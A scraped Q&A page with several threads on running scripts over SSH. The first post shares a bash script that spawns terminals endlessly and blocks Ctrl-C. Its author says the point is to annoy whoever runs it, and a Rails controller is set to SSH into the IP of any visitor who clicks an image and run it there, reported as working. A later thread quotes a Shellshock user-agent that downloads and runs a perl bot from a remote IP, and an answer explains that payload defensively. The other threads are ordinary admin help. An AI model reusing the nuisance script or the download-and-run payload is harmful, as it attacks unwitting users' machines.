I have this bash script that opens a terminal repeatedly with no way of closing them and keeps one after another. The goal is annoy anyone who happens to execute this program. Here's the source code of it:
#!/bin/bash
while true
do
gnome-terminal -x sh -c "./<name-of-script.sh>; bash"
clear
sleep 1
trap '' 2
exit
done
I have tested this and it does work the way I want it to. What I'm trying to do is execute this script on a remote host. On a ruby on rails website I have set an image to attempt to run this script by clicking on it. When someone does they will run a controller function called call_script2 and here's what I have so far:
def call_script2
remote_ip = request.ip
#system("scp /home/ncs/<script.sh> root##{remote_ip}:/root/")
system("ssh root##{remote_ip} sudo home/ncs/./<script.sh>")
render 'script/index'
end
What I'm trying to accomplish is to run the contents of the bash script on the remote host when they click on a certain image. As you can see I've tried uploading the script of the host under the root directory and then trying to run the bash program with no success. I'm perfectly fine using something other than SSH if this not do able.
Please feel free to share your thoughts on this and thank you for taking the time to read my post. Have a great day!
Update: I was able to accomplish this goal by using the following:
system("ssh -t root##{remote_ip} DISPLAY=:0 ./Thorgrim.sh")
Thank you to everyone who have commented on this post to help me out!
Related
I'm trying to invoke a ruby script whenever anyone tries to SSH into the server(say Ubuntu 14.04).
Like for example someone is trying to login with ssh root#serverip and my ruby script should be called upon and the login process should continue only if the script returns true and if returns false the connection should be closed.
How can I achieve this?
Thanks.
To fulfill your requirements, you should also work with $SSH_ORIGINAL_COMMAND environment variable, if you use ForceCommand option:
ForceCommand /path/to/script && $SSH_ORIGINAL_COMMAND
This will run your script and based on the exit status of the /path/to/script, it will run the user command or exit session.
You can try using the ForceCommand parameter in the sshd_config file of your server. it's fairly straightforward and well documented online :)
You enter at the bottom of the config file:
ForceCommand /path/to/script
Not so sure if you can check for certain conditions and terminate the connection, however this might guide you.
As mentioned by a friend in an answer, exit code based execution didn't work for me.
Here's a workaround :-
As mentioned by some folks, I used this in /etc/ssh/sshd_config
ForceCommand /path/to/script
Then in the script I opened the bash if they satisfied certain conditions. For example in bash
#!/bin/bash
if [ condition ]
then
bash #This will open bash if condition is satisfied.
//login
fi
Thanks everyone!
I have a series of bash commands, some with interactive prompts, that I need run on a remote machine. I have to have them called in a certain order for different scenarios, so I've been trying to make a bash script to automate the process for me. However, it seems like every way to start an ssh session with a bash script results in the the redirection of stdin to whatever string or file was used to initiate the script in the first place.
Is there a way I can specify that a certain script be executed on a remote machine, but also forward stdin through ssh to the local machine to enable the user to interact with any prompts?
Here's a list of requirements I have to clarify what I'm trying to do.
Run a script on a remote machine.
Somewhere in the middle of that remote script be command that will prompt for input. Example: git commit will bring up vim.
If that command is git commit and it brings up vim, the user should be able to interact with vim as if it was running locally on their machine.
If that command prompts for a [y/n] response, the user should be able to input their answer.
After the user enters the necessary information—by quitting vim or pressing return on a prompt—the script should continue to run like normal.
My script will then terminate the ssh session. The end product is that commands were executed for the user without them needing to be aware that it was through a remote connection.
I've been testing various different methods with the following script that I want run on the remote machine.
#!/bin/bash
echo hello
vim
echo goodbye
exit
It's crucial that the user be able to use vim, and then, when the user finishes, "goodbye" should be printed to the screen and the remote session should be terminated.
I've tried uploading a temporary script to the remote machine and then running ssh user#host bash /tmp/myScript, but that seems to also take over stdin completely, rendering it impossible to let the user respond to prompts for user input. I've tried adding the -t and -T options (I'm not sure if they're different), but I still get the same result.
One commenter mentioned using expect, spawn, and interact, but I'm not sure how to use those tools together to get my desired behavior. It seems like interact will result in the user gaining control over stdin, but then there's no way to have it relinquished once the user quits vim in order to let my script continue execution.
Is my desired behavior even possible?
Ok, I think I've found my problem. I was creating a wrapper script for ssh that looked like this:
#!/bin/bash
tempScript="/tmp/myScript"
remote=user#host
commands=$(</dev/stdin)
cat <(echo "$commands") | ssh $remote "cat > $tempScript && chmod +x $tempScript" &&
ssh -t $remote $tempScript
errorCode=$?
ssh $remote << RM
if [[ -f $tempScript ]]; then
rm $tmpScript
fi
RM
exit $errorCode
It was there that I was redirecting stdin, not ssh. I should have mentioned this when I formulated my question. I read through that script over and over again, but I guess I just overlooked that one line. Removing that line totally fixed my problem.
Just to clarify, changing my script to the following totally fixed my problem.
#!/bin/bash
tempScript="/tmp/myScript"
remote=user#host
commands="$#"
cat <(echo "$commands") | ssh $remote "cat > $tempScript && chmod +x $tempScript" &&
ssh -t $remote $tempScript
errorCode=$?
ssh $remote << RM
if [[ -f $tempScript ]]; then
rm $tmpScript
fi
RM
exit $errorCode
Once I changed my wrapper script, my test script described in the question worked! I was able to print "hello" to the screen, vim appeared and I was able to use it like normal, and then once I quit vim "goodbye" was printed and the ssh client closed.
The commenters to the question were pointing me in the right direction the whole time. I'm sorry I only told part of my story.
I've searched for solutions to this problem several times in the past, however never finding a fully satisfactory one. Piping into ssh looses your interactivity. Two connects (scp/ssh) is slower, and your temporary file might be left lying around. And the whole script on the command line often ends up in escaping hell.
Recently I encountered that the command line buffer size is usually quite large (getconf ARG_MAX > 2MB where I looked). And this got me thinking about how I could use this and mitigate the escaping issue.
The result is:
ssh -t <host> /bin/bash "<(echo "$(cat my_script | base64 | tr -d "\n")" | base64 --decode)" <arg1> ...
or using a here document and cat:
ssh -t <host> /bin/bash $'<(cat<<_ | base64 --decode\n'$(cat my_script | base64)$'\n_\n)' <arg1> ...
I've expanded on this idea to produce a fully working BASH example script sshx that can run arbitrary scripts (not just BASH), where arguments can be local input files too, over ssh. See here.
My logs shows a very strange user agent which is shown below:
() { :;}; /bin/bash -c "cd /var/tmp;wget http://151.236.44.210/efixx;curl -O http://151.236.44.210/efixx;perl efixx;perl /var/tmp/efixx;perl efixx"
Can anyone tell what is it trying to do... I think it is hacking attempt and how can restrict access to it.
That does indeed look like an attempt to exploit the Shellshock bash bug. https://security.stackexchange.com/questions/68122/what-is-a-specific-example-of-how-the-shellshock-bash-bug-could-be-exploited
The sender of that request is trying to get your machine to download a purl script called efixx from http://151.236.44.210/ and then execute it. That purl script is the "LinuxNet perlbot".
You should check to make sure you don't have the file called "efixx" on your computer and if you do make sure it isn't running. Also make sure you are running the latest version of bash and you should be ok.
I am running Ubuntu 11.10 (Unity interface) and I created a Bash script that uses 'gnome-open' to open a series of web pages I use every morning. When I manually execute the script in the Terminal, the bash script works just fine. Here's a sample of the script (it's all the same so I've shortened it):
#!/bin/bash
gnome-open 'https://docs.google.com';
gnome-open 'https://mail.google.com';
Since it seemed to be working well, I added a job to my crontab (mine, not root's) to execute every weekday at a specific time.
Here's the crontab entry:
30 10 * * 1,2,3,4,5 ~/bin/webcheck.sh
The problem is this error gets returned for every single 'gnome-open' command in the bash script:
GConf-WARNING **: Client failed to connect to the D-BUS daemon:
Unable to autolaunch a dbus-daemon without a $DISPLAY for X11
GConf Error: No D-BUS daemon running
Error: no display specified
I did some searching to try and figure this out. The first thing I tried was relaunching the daemon using SIGHUP:
killall -s SIGHUP gconfd-2
That didn't work so I tried launching the dbus-daemon using this code from the manpage for dbus-launch:
## test for an existing bus daemon, just to be safe
if test -z "$DBUS_SESSION_BUS_ADDRESS" ; then
## if not found, launch a new one
eval `dbus-launch --sh-syntax --exit-with-session`
echo "D-Bus per-session daemon address is: $DBUS_SESSION_BUS_ADDRESS"
fi
But that didn't do anything.
I tried adding simply 'dbus-launch' at the top of my bash script and that didn't work either.
I also tried editing the crontab to include the path to Bash, because I saw that suggestion on another thread but that didn't work.
Any ideas on how I can get this up and running?
Here is how the problem was solved. It turns out the issue was primarily caused by Bash not having access to an X window session (or at least that's how I understood it). So my problem was solved by editing my crontab like so:
30 10 * * 1,2,3,4,5 export DISPLAY=:0 && ~/bin/webcheck.sh
The "export DISPLAY=:0" statement told cron which display to use. I found the answer on this archived Ubuntu forum after searching for "no display specified" or something like that:
http://ubuntuforums.org/archive/index.php/t-105250.html
So now, whenever I'm logged in, exactly at 10:30 my system will automatically launch a series of webpages that I need to look at every day. Saves me having to go through the arduous process of typing in my three-letter alias every time :)
Glad you asked!
It depends on when it is run.
If the Gnome GDM Greeter is live, you can use the DBUS session from the logon dialog, if you will. You can, e.g., use this to send notifications to the logon screen, if no-one is logged in:
function do_notification
{
for pid in $(pgrep gnome-session); do
unset COOKIE
COOKIE="$(grep -z DBUS_SESSION_BUS_ADDRESS /proc/$pid/environ|cut -d= -f2-)"
GNUSER="$(ps --no-heading -o uname $pid)"
echo "Notifying user $GNUSER (gnome-session $pid) with '$#'"
sudo -u "$GNUSER" DBUS_SESSION_BUS_ADDRESS="$COOKIE" /usr/bin/notify-send -c "From CRON:" "$#"
done
unset COOKIE
}
As you can see the above code simply runs the same command (notify-send) on all available gnome-sessions, when called like:
do_notification "I wanted to let you guys know"
You can probably pick this apart and put it to use for your own purposes.
I have roughly 12 computers that each have the same script on them. This script merely pings all the other machines, and prints out whether the machine is "reachable" or "unreachable". However, it is inefficient to login to each machine manually using ssh to execute this script.
Suppose I'm logged into node 1. Is there any way to for me to login to node 2-12 automatically using SSH, execute the ping script, pipe the results to a file, logout and proceed to the next machine? Some kind of bash shell script?
I'm afraid I'm at a loss here since I haven't had experience with shell-scripting before.
Since the script is on the other machines, you can just have ssh run the command for you there:
ssh $hostname my_script >> results_file
When you specify a command like that, it's executed instead of the login shell.
I'll leave it up to you to figure out how to loop over hostnames!
One trick you'll need to use is setting up pre-authorized keys for each host. Then you can run a script on one host, running something like 'ssh hostname command > log.hostname'
This script might be what you are looking for: It allows you to execute one command (which can be your script) on multiple remote machines via ssh. It's a simple script with bash source available, so you should be able to customize it to your needs:
http://www.heinzi.at/projects/upgradebest.sh/
Yes you can
You need actually 2 small scripts as following:
remote_ssh.sh ( which takes as first argument the name of the machine and the rest of the arguments are your script that you want to execute with his own arguments)
Example : remote_ssh.sh node5 "echo hello world"
remote_ssh.sh as following:
#!/bin/bash
ALL_ARG=$#
FST_ARG=$1
REST_ARG=${ALL_ARG##$FST_ARG}
echo "Executing REMOTE COMMAND ON $FST_ARG"
/usr/bin/ssh $FST_ARG bash execute_ssh_command.sh $FST_ARG pwd $REST_ARG
execute_ssh_command.sh as following :
#!/bin/bash
ALL_ARG=$#
FST_ARG=$1
DIR_ARG=$2
REM_ARG="$1 $2"
REST_ARG=${ALL_ARG##$REM_ARG}
cd $DIR_ARG
$REST_ARG
of course you have to get this 2 scripts in your path of all your nodes ( maybe ~/bin/ )
Hope that it's helpful